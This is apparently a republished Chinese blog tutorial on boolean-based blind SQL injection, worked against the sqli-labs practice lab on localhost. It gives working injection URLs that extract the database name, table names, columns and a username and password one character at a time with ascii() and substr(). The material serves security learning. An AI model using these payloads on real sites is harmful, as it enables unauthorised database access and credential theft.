前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sql盲注

sql盲注

作者头像
字节脉搏实验室
发布2020-05-12 14:46:47
8390
发布2020-05-12 14:46:47
举报

文章源自【字节脉搏社区】-字节脉搏实验室

作者-墨子辰

扫描下方二维码进入社区:

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。本次主要讲解的是基于布尔的盲注。

ascii() #返回指定数字对应的ascii码字符函数

substr() #截取从pos位置开始到最后的所有str字符串

手工注入,一个个猜解。大多数人都会觉得特别烦躁的东西。

注入还设有第一点,看注入点在哪里。

个人的查看注入点的方式‘单引号,“双引号,

http://localhost/sqli/Less-8/?id=1

#正常

http://localhost/sqli/Less-8/?id=1

‘ #不正常

http://localhost/sqli/Less-8/?id=1

" #正常

接下来就是构造闭合

http://localhost/sqli/Less-8/?id=1

‘--+ #正常,我可以认为是闭合成功了。

http://localhost/sqli/Less-8/?id=1

‘ and 1=1--+ #正常

http://localhost/sqli/Less-8/?id=1

‘ and 1=2--+ #不正常

接下来我可以尝试猜解数据库了。首先猜解数据库的长度。数据库猜解长度的函数length

length() 返回字符串的长度

http://localhost/sqli/Less-8/?id=1

‘ and length(database())>1--+ #肯定大于1,这个事实

http://localhost/sqli/Less-8/?id=1

‘ and length(database())>7--+ #大于7

http://localhost/sqli/Less-8/?id=1

‘ and length(database())>8--+ #不大于8

http://localhost/sqli/Less-8/?id=1

‘ and length(database())=8--+ #数据库等于8,然后呢!

然后猜解字符了,编辑坑爹呀!感觉还是写个字典用burp跑

通过ascii()和substr()猜测数据库名

ascii() #返回指定数字对应的ascii码字符函数

substr() #截取从pos位置开始到最后的所有str字符串

?id=1

‘ and (select ascii(substr(database(),1,1)))=115--+ #115=s

不停的爆破

第二个是101 e

第三个是 99 c

第四个是117 u

第五个是114 r

第六个是105 i

第七个是116 t

第八个是121 y

可以得到数据库名字为:security

接下来头疼的爆数据表,盲注果然是很枯燥的事情。

#第一个表

?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)))=101--+# 101=e

第一个数据表 101,109,97,105,108,115 =>emails

#第二个表

?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),1,1)))=114--+

第二个数据表 114,101,102,101,114,101,114,115 =>referers

#第三个表

id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 2,1),1,1)))=117--+

第三个数据表 117,97,103,101,110,116,115 =>uagents

第四个数据表 117,115,101,114,115 =>users

爆字段了,我是有点奔溃了。。。。接下来更加坑爹的爆字段。

http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),2,1)))=105--+

第一个字段 117,115,101,114,95,105,100 =>user_id

第二个字段 102,105,114,115,116,95,110,97,109,101 =>first_name

内心是奔溃,想办法简略一下。不是117=u或者112=p直接忽略

第三个字段 108 pass =>last_name

第四个字段 117,115,101,114 =>user

第五个字段 112,97,115,115,119,111,114,100, =>password

第六个字段 97 pass =>avatar

第七个字段 105 =》id

第八个字段 117,115,101,114,110,97,109,101 =>username

猜解一下用户名username,密码password

感觉太悲催。

http://localhost/sqli/Less-8/?id=1' and (select ascii(substr((select username from users limit 0,1),1,1)))=68--+

第一个用户名:68,117,109,98 =>Dumb

http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select password from users limit 0,1),1,1)))=68--+

第一个密码:68,117,109,98 =>Dumb

注:以上代码如果拿去本地复现,请注意 【' 、“】符号中英文格式,如若有必要,请自己重敲' "等符号

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-05-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档